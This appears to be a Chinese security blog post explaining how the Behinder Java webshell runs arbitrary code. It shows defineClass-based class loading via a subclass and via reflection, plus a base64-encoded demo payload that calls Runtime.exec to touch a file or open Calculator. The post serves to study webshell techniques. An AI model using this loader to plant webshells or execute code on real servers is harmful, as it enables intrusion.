0x01 原理介绍

首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:

因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。

下面是一个简单的Demo:

public class Demo {public static class Myloader extends ClassLoader {public Class get(byte[] b) {return super.defineClass(b, 0, b.length);}}// 使用继承ClassLoader的方法public static Class<?> getClass(String classCode) throws IOException, InstantiationException, IllegalAccessException {BASE64Decoder code = new BASE64Decoder();Class result = new Myloader().get(code.decodeBuffer(classCode));return (Class<?>)result;}    public static void main(String[] args) throws Exception {// TODO Auto-generated method stubString classStr = "yv66vgAAADQAQgoADwAjCAAkCAAlCgAmACcKACgAKQgAKgoAKAArCAAsCgAtAC4KAC0ALwcAMAoACwAxCAAyBwAzBwA0AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABpMY29tL2FudHNlYy9kdXBlaS9QYXlsb2FkOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADUHADMHADABAApTb3VyY2VGaWxlAQAMUGF5bG9hZC5qYXZhDAAQABEBAB50b3VjaCAvdG1wL215X3RyYW5zbGV0X3BheWxvYWQBAAdvcy5uYW1lBwA2DAA3ADgHADUMADkAGAEAA21hYwwAOgA7AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgcAPAwAPQA+DAA/AEABABNqYXZhL2lvL0lPRXhjZXB0aW9uDABBABEBAAJPSwEAGGNvbS9hbnRzZWMvZHVwZWkvUGF5bG9hZAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEADgAPAAAAAAACAAEAEAARAAEAEgAAAC8AAQABAAAABSq3AAGxAAAAAgATAAAABgABAAAACQAUAAAADAABAAAABQAVABYAAAABABcAGAABABIAAACnAAIAAgAAACkSAkwSA7gABLYABRIGtgAHmQAGEghMuAAJK7YAClenAAhMK7YADBINsAABAAAAHgAhAAsAAwATAAAAIgAIAAAADgADAA8AEwARABYAEwAeABcAIQAUACIAFgAmABgAFAAAACAAAwADABsAGQAaAAEAIgAEABsAHAABAAAAKQAVABYAAAAdAAAAFgAD/AAWBwAe/wAKAAEHAB8AAQcAIAQAAQAhAAAAAgAi";Class<?> result = getClass(classStr);System.out.println(result.newInstance().toString());}
}

上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:

package com.antsec.dupei;import java.io.IOException;/*** @author dupei.dp@antgroup.com* @date 2021/8/11 11:19*/
public class Payload {@Overridepublic String toString() {// TODO Auto-generated method stubtry {String command = "touch /tmp/my_translet_payload";if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {// 在MacOS上打开计算器command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";}Runtime.getRuntime().exec(command);} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}return "OK";}
}

到此,我们就可以直接动态解析并执行编译好的class字节流了。

除了上述使用集成classloader的方式调用defineClass之外,也可以使用反射机制,这个在新版的冰蝎中,以及开始使用了。

// 使用反射的方法
public static Class<?> getClass2(String classCode) throws IOException, InvocationTargetException,
IllegalAccessException, NoSuchMethodException, InstantiationException {ClassLoader   loader        = Thread.currentThread().getContextClassLoader();BASE64Decoder base64Decoder = new BASE64Decoder();byte[]        bytes         = base64Decoder.decodeBuffer(classCode);Method method = null;Class<?> clz    = loader.getClass();while (method == null && clz != Object.class) {try {method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);} catch (NoSuchMethodException ex) {clz = clz.getSuperclass();}}if (method != null) {method.setAccessible(true);return (Class<?>) method.invoke(loader, bytes, 0, bytes.length);}return null;
}

0x02 参考

● 冰蝎: https://github.com/rebeyond/Behinder

安全技术系列之Java一句话木马相关推荐

  1. java一句话木马连接_webshell一句话木马大全

    比较全的webshell一句话包括ASP,PHP,ASPX,JSP asp一句话木马程序代码 程序代码 程序代码 程序代码 程序代码 程序代码 [code] [code] 程序代码 %> 程序代 ...

  2. java一句话木马连接_一句话木马使用方法总结

    "EASYNEWS新闻管理系统 v1.01 正式版"是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话 ...

  3. java一句话木马_如何使用JSP一句话木马和菜刀木马

    展开全部 相信用过一句话木马的黑阔们对中国32313133353236313431303231363533e4b893e5b19e31333337393033菜刀这个程序不会感到陌生,小弟也曾使用PH ...

  4. java一句话木马_jsp一句话木马总结

    Jsp 7-- include指令 index.jsp %@page contentType="text/html; charset=UTF-8"%html head titlei ...

  5. java一句话木马_各种一句话木马大全

    %> ""then session("c")=request("c"):end if:if session("c" ...

  6. 利用动态二进制加密实现新型一句话木马之Java篇(转) 冰蝎

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...

  7. 2018-03-24-利用动态二进制加密实现新型一句话木马之Java篇

    layout: post title: "利用动态二进制加密实现新型一句话木马-java篇" categories: [网络安全CyberSecurity] tags: [一句话木 ...

  8. 【原创】利用动态二进制加密实现新型一句话木马之Java篇

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...

  9. java 菜刀_jsp一句话木马菜刀

    1.如何使用JSP一句话木马和菜刀木马 相信用过一句话木马的黑阔们对中国菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站. 近期Struts2重定向漏洞疯狂来袭,不少黑阔们都摩 ...

最新文章

  1. 链表-回文链表(复制+双指针法)
  2. Tick技术栈之InfluxDB
  3. postman接口测试和压力测试
  4. 笔记-JavaWeb学习之旅2
  5. 【C++基础】重抛异常与异常的使用场景
  6. 推荐系统之 BPR 算法及 Librec的BPR算法实现【1】
  7. std::optional
  8. Transformer可以不需要Softmax?Kakao提出了UFO-ViT,性能高,计算量还小
  9. 什么是偏向锁、轻量级锁、重量级锁?
  10. 【优化算法】差分蜂群优化算法(DEABC)【含Matlab源码 1423期】
  11. 【费用预测】基于matlab粒子群算法优化ELM神经网络预测费用【含Matlab源码 1378期】
  12. 何凯明最新一作MAE解读系列1
  13. 进程间通信方式有哪些?各自有哪些优缺点?
  14. C语言——测试电脑大小端
  15. Delphi隐藏/显示Windows桌面上的图标
  16. 《统计学》——思考题第二章数据的搜集(贾俊平)
  17. 如何运用python画名字_[原创]如何使用Python在好友画我上画一个标准的汉字震惊朋友圈...
  18. 数据库服务器的性能指标,数据库服务器性能指标
  19. 爬取bili番剧相关内容
  20. php程序开发编辑器有哪些,常用的PHP编辑器有哪些?

热门文章

  1. javaScript核心学习 (二)函数和对象,继承原型链
  2. 导数应用(一):差分计算(导数)
  3. 面试通过几率大不大?你需要做这些准备
  4. js 根据已知的时间,判断是否是今天,明天,昨天,后天
  5. JS中innerHTML,innerText,outHTML的用法及区别
  6. Java 分区表_操作分区表提示ORA-01502
  7. Linux shell--sfdisk manual
  8. 超强1000个jquery极品插件(。。)
  9. 海康服务器远程桌面怎么设置,海康DVR/DVS/NVR远程访问设置-广域网访问设置
  10. 基于知识图谱的语言模型:智能化知识分享与获取